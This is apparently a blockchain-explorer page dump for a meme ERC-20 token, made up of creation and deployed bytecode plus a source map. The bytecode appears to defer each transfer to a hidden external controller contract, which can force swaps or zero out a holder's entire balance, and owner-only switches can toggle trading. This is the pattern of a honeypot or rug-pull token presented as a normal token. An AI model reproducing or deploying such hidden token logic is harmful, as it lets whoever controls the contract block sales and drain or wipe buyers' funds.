f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611fe0602383611a41565b9150611feb82611f84565b604082019050919050565b6000602082019050818103600083015261200f81611fd3565b9050919050565b600060408201905061202b6000830185611d03565b6120386020830184611d03565b9392505050565b60008151905061204e81611c2a565b92915050565b60006020828403121561206a57612069611af1565b5b60006120788482850161203f565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506120ee81611b28565b92915050565b60006020828403121561210a57612109611af1565b5b6000612118848285016120df565b91505092915050565b6000819050919050565b6000819050919050565b600061215061214b61214684612121565b61212b565b611b54565b9050919050565b61216081612135565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61219b81611b16565b82525050565b60006121ad8383612192565b60208301905092915050565b6000602082019050919050565b60006121d182612166565b6121db8185612171565b93506121e683612182565b8060005b838110156122175781516121fe88826121a1565b9750612209836121b9565b9250506001810190506121ea565b5085935050505092915050565b600060a0820190506122396000830188611c00565b6122466020830187612157565b818103604083015261225881866121c6565b90506122676060830185611d03565b6122746080830184611c00565b9695505050505050565b600060a0820190506122936000830188611d03565b6122a06020830187611d03565b6122ad6040830186611bd6565b6122ba6060830185611d03565b6122c76080830184611d03565b9695505050505050565b60006122dc82611b54565b91506122e783611b54565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123205761231f611e39565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061236582611b54565b915061237083611b54565b9250826123805761237f61232b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006123e7602183611a41565b91506123f28261238b565b604082019050919050565b60006020820190508181036000830152612416816123da565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000612453601a83611a41565b915061245e8261241d565b602082019050919050565b6000602082019050818103600083015261248281612446565b905091905056fea2646970667358221220cc3c9385ad7afac47710877642c1442e564c3dbcd4dfc6702a6ca905e511f32664736f6c634300080f003342696c626f42616767696e73507574696e436861726d616e64657239303030496e75

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d714610323578063a9059cbb14610353578063c245948114610383578063c5b37c22146103a1578063dd62ed3e146103bf5761012c565b806370a0823114610291578063715018a6146102c15780638da5cb5b146102cb578063924de9b7146102e957806395d89b41146103055761012c565b8063313ce567116100f4578063313ce567146101e957806332424aa31461020757806339509351146102255780633eaaf86b146102555780636675187e146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f5780631ed950c91461019d57806323b872dd146101b9575b600080fd5b6101396103ef565b6040516101469190611acf565b60405180910390f35b61016960048036038101906101649190611b8a565b610481565b6040516101769190611be5565b60405180910390f35b61018761049f565b6040516101949190611c0f565b60405180910390f35b6101b760048036038101906101b29190611c56565b6104a9565b005b6101d360048036038101906101ce9190611c83565b610542565b6040516101e09190611be5565b60405180910390f35b6101f16105ea565b6040516101fe9190611c0f565b60405180910390f35b61020f6105f4565b60405161021c9190611c0f565b60405180910390f35b61023f600480360381019061023a9190611b8a565b6105fa565b60405161024c9190611be5565b60405180910390f35b61025d6106a6565b60405161026a9190611c0f565b60405180910390f35b61027b6106ac565b6040516102889190611be5565b60405180910390f35b6102ab60048036038101906102a69190611cd6565b6106bf565b6040516102b89190611c0f565b60405180910390f35b6102c9610708565b005b6102d3610842565b6040516102e09190611d12565b60405180910390f35b61030360048036038101906102fe9190611c56565b61086b565b005b61030d610904565b60405161031a9190611acf565b60405180910390f35b61033d60048036038101906103389190611b8a565b610996565b60405161034a9190611be5565b60405180910390f35b61036d60048036038101906103689190611b8a565b610ad2565b60405161037a9190611be5565b60405180910390f35b61038b610af0565b6040516103989190611c0f565b60405180910390f35b6103a9610af9565b6040516103b69190611c0f565b60405180910390f35b6103d960048036038101906103d49190611d2d565b610aff565b6040516103e69190611c0f565b60405180910390f35b6060600880546103fe90611d9c565b80601f016020809104026020016040519081016040528092919081815260200182805461042a90611d9c565b80156104775780601f1061044c57610100808354040283529160200191610477565b820191906000526020600020905b81548152906001019060200180831161045a57829003601f168201915b5050505050905090565b600061049561048e610b86565b8484610b8e565b6001905092915050565b6000600454905090565b6104b1610b86565b73ffffffffffffffffffffffffffffffffffffffff166104cf610842565b73ffffffffffffffffffffffffffffffffffffffff1614610525576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051c90611e19565b60405180910390fd5b80600a60016101000a81548160ff02191690831515021790555050565b600061054f848484610d57565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610599610b86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156105df57600080fd5b600190509392505050565b6000600354905090565b60035481565b600061069c610607610b86565b848460026000610615610b86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106979190611e68565b610b8e565b6001905092915050565b60045481565b600a60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610710610b86565b73ffffffffffffffffffffffffffffffffffffffff1661072e610842565b73ffffffffffffffffffffffffffffffffffffffff1614610784576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077b90611e19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610873610b86565b73ffffffffffffffffffffffffffffffffffffffff16610891610842565b73ffffffffffffffffffffffffffffffffffffffff16146108e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108de90611e19565b60405180910390fd5b80600a60026101000a81548160ff02191690831515021790555050565b60606009805461091390611d9c565b80601f016020809104026020016040519081016040528092919081815260200182805461093f90611d9c565b801561098c5780601f106109615761010080835404028352916020019161098c565b820191906000526020600020905b81548152906001019060200180831161096f57829003601f168201915b5050505050905090565b600081600260006109a5610b86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a2857600080fd5b610ac8610a33610b86565b848460026000610a41610b86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ac39190611ebe565b610b8e565b6001905092915050565b6000610ae6610adf610b86565b8484610d57565b6001905092915050565b60006003905090565b60055481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf490611f64565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6390611ff6565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d4a9190611c0f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d9057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc957600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166353b96ce484846040518363ffffffff1660e01b8152600401610e26929190612016565b602060405180830381865afa158015610e43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e679190612054565b15610e7757610e76818361114c565b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166353b96ce484846040518363ffffffff1660e01b8152600401610ed4929190612016565b602060405180830381865afa158015610ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f159190612054565b6111475780600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580610f745750600a60009054906101000a900460ff16155b610f7d57600080fd5b610f8683611416565b6000610f938484846115f4565b905060008183610fa39190611ebe565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ff49190611e68565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110469190611ebe565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110d89190611e68565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161113c9190611c0f565b60405180910390a350505b505050565b61117930600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b8e565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156111da576111d9612081565b5b6040519080825280602002602001820160405280156112085781602001602082028036833780820191505090505b5090506001600a60006101000a81548160ff021916908315150217905550308160008151811061123b5761123a6120b0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130691906120f4565b8160018151811061131a576113196120b0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601b426113a49190611e68565b6040518663ffffffff1660e01b81526004016113c4959493929190612224565b600060405180830381600087803b1580156113de57600080fd5b505af11580156113f2573d6000803e3d6000fd5b505050506000600a60006101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff166114356117bb565b73ffffffffffffffffffffffffffffffffffffffff16036115f1576000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630a3b36086040518163ffffffff1660e01b81526004016020604051808303816000875af11580156114c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e591906120f4565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146115ef576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115aa9190611ebe565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b505b50565b60008060009050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635cba653c8686600a60009054906101000a900460ff16306116546117bb565b6040518663ffffffff1660e01b815260040161167495949392919061227e565b6020604051808303816000875af1158015611693573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b79190612054565b156117b0578373ffffffffffffffffffffffffffffffffffffffff166116db6117bb565b73ffffffffffffffffffffffffffffffffffffffff16031561178557600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314935aaa856040518263ffffffff1660e01b81526004016117529190611d12565b600060405180830381600087803b15801561176c57600080fd5b505af1158015611780573d6000803e3d6000fd5b505050505b6117ad606461179f6005548661195e90919063ffffffff16565b6119d890919063ffffffff16565b90505b809150509392505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561182a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061184e91906120f4565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118fb91906120f4565b6040518363ffffffff1660e01b8152600401611918929190612016565b602060405180830381865afa158015611935573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061195991906120f4565b905090565b600080830361197057600090506119d2565b6000828461197e91906122d1565b905082848261198d919061235a565b146119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c4906123fd565b60405180910390fd5b809150505b92915050565b6000808211611a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1390612469565b60405180910390fd5b60008284611a2a919061235a565b90508091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611a70578082015181840152602081019050611a55565b83811115611a7f576000848401525b50505050565b6000601f19601f8301169050919050565b6000611aa182611a36565b611aab8185611a41565b9350611abb818560208601611a52565b611ac481611a85565b840191505092915050565b60006020820190508181036000830152611ae98184611a96565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b2182611af6565b9050919050565b611b3181611b16565b8114611b3c57600080fd5b50565b600081359050611b4e81611b28565b92915050565b6000819050919050565b611b6781611b54565b8114611b7257600080fd5b50565b600081359050611b8481611b5e565b92915050565b60008060408385031215611ba157611ba0611af1565b5b6000611baf85828601611b3f565b9250506020611bc085828601611b75565b9150509250929050565b60008115159050919050565b611bdf81611bca565b82525050565b6000602082019050611bfa6000830184611bd6565b92915050565b611c0981611b54565b82525050565b6000602082019050611c246000830184611c00565b92915050565b611c3381611bca565b8114611c3e57600080fd5b50565b600081359050611c5081611c2a565b92915050565b600060208284031215611c6c57611c6b611af1565b5b6000611c7a84828501611c41565b91505092915050565b600080600060608486031215611c9c57611c9b611af1565b5b6000611caa86828701611b3f565b9350506020611cbb86828701611b3f565b9250506040611ccc86828701611b75565b9150509250925092565b600060208284031215611cec57611ceb611af1565b5b6000611cfa84828501611b3f565b91505092915050565b611d0c81611b16565b82525050565b6000602082019050611d276000830184611d03565b92915050565b60008060408385031215611d4457611d43611af1565b5b6000611d5285828601611b3f565b9250506020611d6385828601611b3f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611db457607f821691505b602082108103611dc757611dc6611d6d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e03602083611a41565b9150611e0e82611dcd565b602082019050919050565b60006020820190508181036000830152611e3281611df6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e7382611b54565b9150611e7e83611b54565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611eb357611eb2611e39565b5b828201905092915050565b6000611ec982611b54565b9150611ed483611b54565b925082821015611ee757611ee6611e39565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f4e602583611a41565b9150611f5982611ef2565b604082019050919050565b60006020820190508181036000830152611f7d81611f41565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611fe0602383611a41565b9150611feb82611f84565b604082019050919050565b6000602082019050818103600083015261200f81611fd3565b9050919050565b600060408201905061202b6000830185611d03565b6120386020830184611d03565b9392505050565b60008151905061204e81611c2a565b92915050565b60006020828403121561206a57612069611af1565b5b60006120788482850161203f565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506120ee81611b28565b92915050565b60006020828403121561210a57612109611af1565b5b6000612118848285016120df565b91505092915050565b6000819050919050565b6000819050919050565b600061215061214b61214684612121565b61212b565b611b54565b9050919050565b61216081612135565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61219b81611b16565b82525050565b60006121ad8383612192565b60208301905092915050565b6000602082019050919050565b60006121d182612166565b6121db8185612171565b93506121e683612182565b8060005b838110156122175781516121fe88826121a1565b9750612209836121b9565b9250506001810190506121ea565b5085935050505092915050565b600060a0820190506122396000830188611c00565b6122466020830187612157565b818103604083015261225881866121c6565b90506122676060830185611d03565b6122746080830184611c00565b9695505050505050565b600060a0820190506122936000830188611d03565b6122a06020830187611d03565b6122ad6040830186611bd6565b6122ba6060830185611d03565b6122c76080830184611d03565b9695505050505050565b60006122dc82611b54565b91506122e783611b54565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123205761231f611e39565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061236582611b54565b915061237083611b54565b9250826123805761237f61232b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006123e7602183611a41565b91506123f28261238b565b604082019050919050565b60006020820190508181036000830152612416816123da565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000612453601a83611a41565b915061245e8261241d565b602082019050919050565b6000602082019050818103600083015261248281612446565b905091905056fea2646970667358221220cc3c9385ad7afac47710877642c1442e564c3dbcd4dfc6702a6ca905e511f32664736f6c634300080f0033

Deployed Bytecode Sourcemap

3406:5346:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6014:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6532:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6251:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8534:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8072:246;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6172:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3609:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4216:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3644:64;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8497:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6421:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3251:148;;;:::i;:::-;;3032:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8661:88;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6091:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4437:259;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7891:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6345:70;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3715:23;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4059:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6014:71;6053:13;6077:5;6070:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6014:71;:::o;6532:169::-;6615:4;6632:39;6641:12;:10;:12::i;:::-;6655:7;6664:6;6632:8;:39::i;:::-;6689:4;6682:11;;6532:169;;;;:::o;6251:88::-;6306:7;6324:12;;6317:19;;6251:88;:::o;8534:91::-;3176:12;:10;:12::i;:::-;3165:23;;:7;:5;:7::i;:::-;:23;;;3157:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8616:1:::1;8603:10;;:14;;;;;;;;;;;;;;;;;;8534:91:::0;:::o;8072:246::-;8176:4;8193:34;8203:4;8209:9;8220:6;8193:9;:34::i;:::-;8281:6;8246:11;:17;8258:4;8246:17;;;;;;;;;;;;;;;:31;8264:12;:10;:12::i;:::-;8246:31;;;;;;;;;;;;;;;;:41;;8238:50;;;;;;8306:4;8299:11;;8072:246;;;;;:::o;6172:73::-;6215:7;6233:9;;6226:16;;6172:73;:::o;3609:28::-;;;;:::o;4216:215::-;4304:4;4321:80;4330:12;:10;:12::i;:::-;4344:7;4390:10;4353:11;:25;4365:12;:10;:12::i;:::-;4353:25;;;;;;;;;;;;;;;:34;4379:7;4353:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;4321:8;:80::i;:::-;4419:4;4412:11;;4216:215;;;;:::o;3644:64::-;;;;:::o;8497:30::-;;;;;;;;;;;;;:::o;6421:105::-;6487:7;6505:9;:18;6515:7;6505:18;;;;;;;;;;;;;;;;6498:25;;6421:105;;;:::o;3251:148::-;3176:12;:10;:12::i;:::-;3165:23;;:7;:5;:7::i;:::-;:23;;;3157:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3358:1:::1;3321:40;;3342:6;::::0;::::1;;;;;;;;3321:40;;;;;;;;;;;;3389:1;3372:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3251:148::o:0;3032:87::-;3078:7;3105:6;;;;;;;;;;;3098:13;;3032:87;:::o;8661:88::-;3176:12;:10;:12::i;:::-;3165:23;;:7;:5;:7::i;:::-;:23;;;3157:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8740:1:::1;8726:11;;:15;;;;;;;;;;;;;;;;;;8661:88:::0;:::o;6091:75::-;6132:13;6156:7;6149:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6091:75;:::o;4437:259::-;4518:4;4578:6;4543:11;:25;4555:12;:10;:12::i;:::-;4543:25;;;;;;;;;;;;;;;:31;4569:4;4543:31;;;;;;;;;;;;;;;;:41;;4535:50;;;;;;4596:70;4605:12;:10;:12::i;:::-;4619:4;4659:6;4625:11;:25;4637:12;:10;:12::i;:::-;4625:25;;;;;;;;;;;;;;;:31;4651:4;4625:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;4596:8;:70::i;:::-;4684:4;4677:11;;4437:259;;;;:::o;7891:175::-;7977:4;7994:42;8004:12;:10;:12::i;:::-;8018:9;8029:6;7994:9;:42::i;:::-;8054:4;8047:11;;7891:175;;;;:::o;6345:70::-;6393:7;6411:1;6404:8;;6345:70;:::o;3715:23::-;;;;:::o;4059:151::-;4148:7;4175:11;:18;4187:5;4175:18;;;;;;;;;;;;;;;:27;4194:7;4175:27;;;;;;;;;;;;;;;;4168:34;;4059:151;;;;:::o;172:98::-;225:7;252:10;245:17;;172:98;:::o;6707:346::-;6826:1;6809:19;;:5;:19;;;6801:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6908:1;6889:21;;:7;:21;;;6881:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6991:6;6961:11;:18;6973:5;6961:18;;;;;;;;;;;;;;;:27;6980:7;6961:27;;;;;;;;;;;;;;;:36;;;;7029:7;7013:32;;7022:5;7013:32;;;7038:6;7013:32;;;;;;:::i;:::-;;;;;;;;6707:346;;;:::o;4702:712::-;4819:1;4803:18;;:4;:18;;;4795:27;;;;;;4861:1;4841:22;;:8;:22;;;4833:31;;;;;;4879:9;;;;;;;;;;;:17;;;4897:4;4903:8;4879:33;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4875:88;;;4929:22;4936:4;4942:8;4929:6;:22::i;:::-;4875:88;4978:9;;;;;;;;;;;:17;;;4996:4;5002:8;4978:33;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4973:434;;5051:4;5032:9;:15;5042:4;5032:15;;;;;;;;;;;;;;;;:23;;:34;;;;5060:6;;;;;;;;;;;5059:7;5032:34;5024:43;;;;;;5078:13;5086:4;5078:7;:13::i;:::-;5102:17;5122:28;5129:4;5135:8;5145:4;5122:6;:28::i;:::-;5102:48;;5161:22;5193:9;5186:4;:16;;;;:::i;:::-;5161:41;;5241:9;5213;:24;5231:4;5213:24;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;5297:4;5279:9;:15;5289:4;5279:15;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;5261:9;:15;5271:4;5261:15;;;;;;;;;;;;;;;:40;;;;5335:14;5312:9;:19;5322:8;5312:19;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;5380:8;5365:30;;5374:4;5365:30;;;5390:4;5365:30;;;;;;:::i;:::-;;;;;;;;5013:394;;4973:434;4702:712;;;:::o;7388:471::-;7463:52;7480:4;7495:7;;;;;;;;;;;7505:9;7463:8;:52::i;:::-;7553:9;7526;:24;7544:4;7526:24;;;;;;;;;;;;;;;:36;;;;7573:21;7611:1;7597:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7573:40;;7633:4;7624:6;;:13;;;;;;;;;;;;;;;;;;7666:4;7648;7653:1;7648:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;7692:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7682:4;7687:1;7682:7;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;7717:7;;;;;;;;;;;:58;;;7776:9;7786:1;7788:4;7793:11;7823:2;7805:15;:20;;;;:::i;:::-;7717:109;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7846:5;7837:6;;:14;;;;;;;;;;;;;;;;;;7452:407;7388:471;;:::o;7059:323::-;7144:5;7115:34;;:25;:23;:25::i;:::-;:34;;;7166:7;7111:73;7194:10;7207:9;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7194:38;;7261:1;7247:16;;:2;:16;;;7243:132;;7280:14;7297:9;:13;7307:2;7297:13;;;;;;;;;;;;;;;;7280:30;;7357:6;7341:9;:13;7351:2;7341:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;7325:9;:13;7335:2;7325:13;;;;;;;;;;;;;;;:38;;;;7265:110;7243:132;7100:282;7059:323;;:::o;5420:451::-;5501:7;5521:17;5541:1;5521:21;;5557:9;;;;;;;;;;;:17;;;5575:4;5581:8;5591:6;;;;;;;;;;;5607:4;5614:25;:23;:25::i;:::-;5557:83;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5553:284;;;5690:8;5661:37;;:25;:23;:25::i;:::-;:37;;;5657:117;;;5726:9;;;;;;;;;;;:22;;;5749:8;5726:32;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5657:117;5800:25;5821:3;5800:16;5811:4;;5800:6;:10;;:16;;;;:::i;:::-;:20;;:25;;;;:::i;:::-;5788:37;;5553:284;5854:9;5847:16;;;5420:451;;;;;:::o;8324:167::-;8381:7;8426;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;